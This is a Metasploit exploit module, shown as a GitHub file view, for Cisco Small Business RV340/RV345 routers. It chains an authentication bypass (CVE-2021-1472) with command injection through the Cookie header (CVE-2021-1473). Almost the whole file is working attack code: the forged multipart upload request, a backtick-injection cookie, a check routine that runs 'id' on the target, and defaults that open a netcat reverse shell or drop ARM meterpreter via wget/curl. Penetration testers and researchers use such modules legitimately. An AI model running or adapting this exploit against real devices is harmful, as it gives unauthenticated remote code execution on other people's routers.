/
cisco_rv_series_authbypass_and_rce.rb
177 lines (161 loc) · 7.22 KB
/
cisco_rv_series_authbypass_and_rce.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco Small Business RV Series Authentication Bypass and Command Injection',
'Description' => %q{
This module exploits an authentication bypass (CVE-2021-1472) and command injection (CVE-2021-1473)
in the Cisco Small Business RV series of VPN/routers. The device does not adequately verify the
credentials in the HTTP Authorization field when requests are made to the /upload endpoint. Then
the upload.cgi binary will use the contents of the HTTP Cookie field as part of a `curl` request
aimed at an internal endpoint. The curl request is executed using `popen` and allows the attacker
to inject commands via the Cookie field.
A remote and unauthenticated attacker using this module is able to achieve code execution as `www-data`.
This module affects the RV340, RV340w, RV345, and RV345P using firmware versions 1.0.03.20 and below.
},
'License' => MSF_LICENSE,
'Author' => [
'Takeshi Shiomitsu', # Vulnerability discovery
'jbaines-r7' # Metasploit module
],
'References' => [
[ 'CVE', '2021-1472' ],
[ 'CVE', '2021-1473' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rv-bypass-inject-Rbhgvfdx'],
[ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/39' ],
[ 'URL', 'https://www.iot-inspector.com/blog/advisory-cisco-rv34x-authentication-bypass-remote-command-execution/' ]
],
'DisclosureDate' => '2021-04-07',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_ARMLE],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'Payload' => {
'BadChars' => '\''
},
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_ARMLE],
'Type' => :linux_dropper,
'Payload' => {
'BadChars' => '\''
},
'CmdStagerFlavor' => [ 'wget', 'curl' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
# Sends the exploit. Authentication bypass is successful as long as the authorization field
# is present (we add a valid base64 value as well). Command injection occurs in the cookie
# field. Otherwise, various values need to be present in the /upload to satisfy the upload
# configuration logic. Randomized values to the best of our ability.
# @return res
def send_exploit(cmd)
options = Rex::Text.rand_text_alphanumeric(5..12)
destination = Rex::Text.rand_text_alphanumeric(5..12)
filepath = Rex::Text.rand_text_alphanumeric(5..12)
filename = Rex::Text.rand_text_alphanumeric(5..12)
filexml = Rex::Text.rand_text_alphanumeric(5..12)
uploadname = Rex::Text.rand_text_alphanumeric(5..12)
auth = Rex::Text.encode_base64("#{Rex::Text.rand_text_alphanumeric(5..12)}:#{Rex::Text.rand_text_alphanumeric(5..12)}")
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(options, nil, nil, 'form-data; name="option"')
multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')
multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')
multipart_form.add_part(filexml, 'application/xml', nil, 'form-data; name="file"; filename="config.xml"')
multipart_form.add_part("#{filename}.xml", nil, nil, 'form-data; name="filename"')
# this xml data required as is
multipart_form.add_part('<input><fileType>configuration</fileType><source><location-url>' \
'FILE://Configuration/config.xml</location-url></source><destination><config-type>' \
'config-running</config-type></destination></input>', nil, nil, "form-data; name=\"#{uploadname}\"")
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/upload'),
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'headers' => {
'Cookie' => "sessionid='`#{cmd}`'",
'Authorization' => auth
},
'data' => multipart_form.to_s
}, 10)
end
# The system doesn't have a good way to snag the version. This check attempts the exploit
# with a command that returns immediately (id) and checks that the response looks like
# how a vulnerable target would respond.
def check
res = send_exploit('id')
return CheckCode::Unknown("Didn't receive a response from the target.") unless res
return CheckCode::Safe('The target did not respond with a 200 OK.') unless res.code == 200
if res.body.include?('"jsonrpc":"2.0"') || res.body.include?('<head><title>301 Moved Permanently</title></head>')
return CheckCode::Appears('The device responded to exploitation with a 200 OK.')
end
CheckCode::Safe('The target did not respond with an expected payload.')
end
def execute_command(cmd, _opts = {})
# parsing of the cookie field is thrown off by ;. Replacing with && works fine, but the only
# downside is if the payload fails then it won't clean up after itself. Oddly, device's sh
# required the spacing.
cmd = cmd.gsub(/;/, ' && ')
res = send_exploit(cmd)
# unix command holds the connection open. Meterpreter should not. I think this logic is fine though.
# If :unix_cmd gets a good check() value and then send_exploit returns with a nil response
# then that is a clear sign that :unix_cmd was successful
if target['Type'] != :unix_cmd
fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200
body_json = res.get_json_document
fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json
end
print_good('Exploit successfully executed.')
end
def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 120)
end
end
end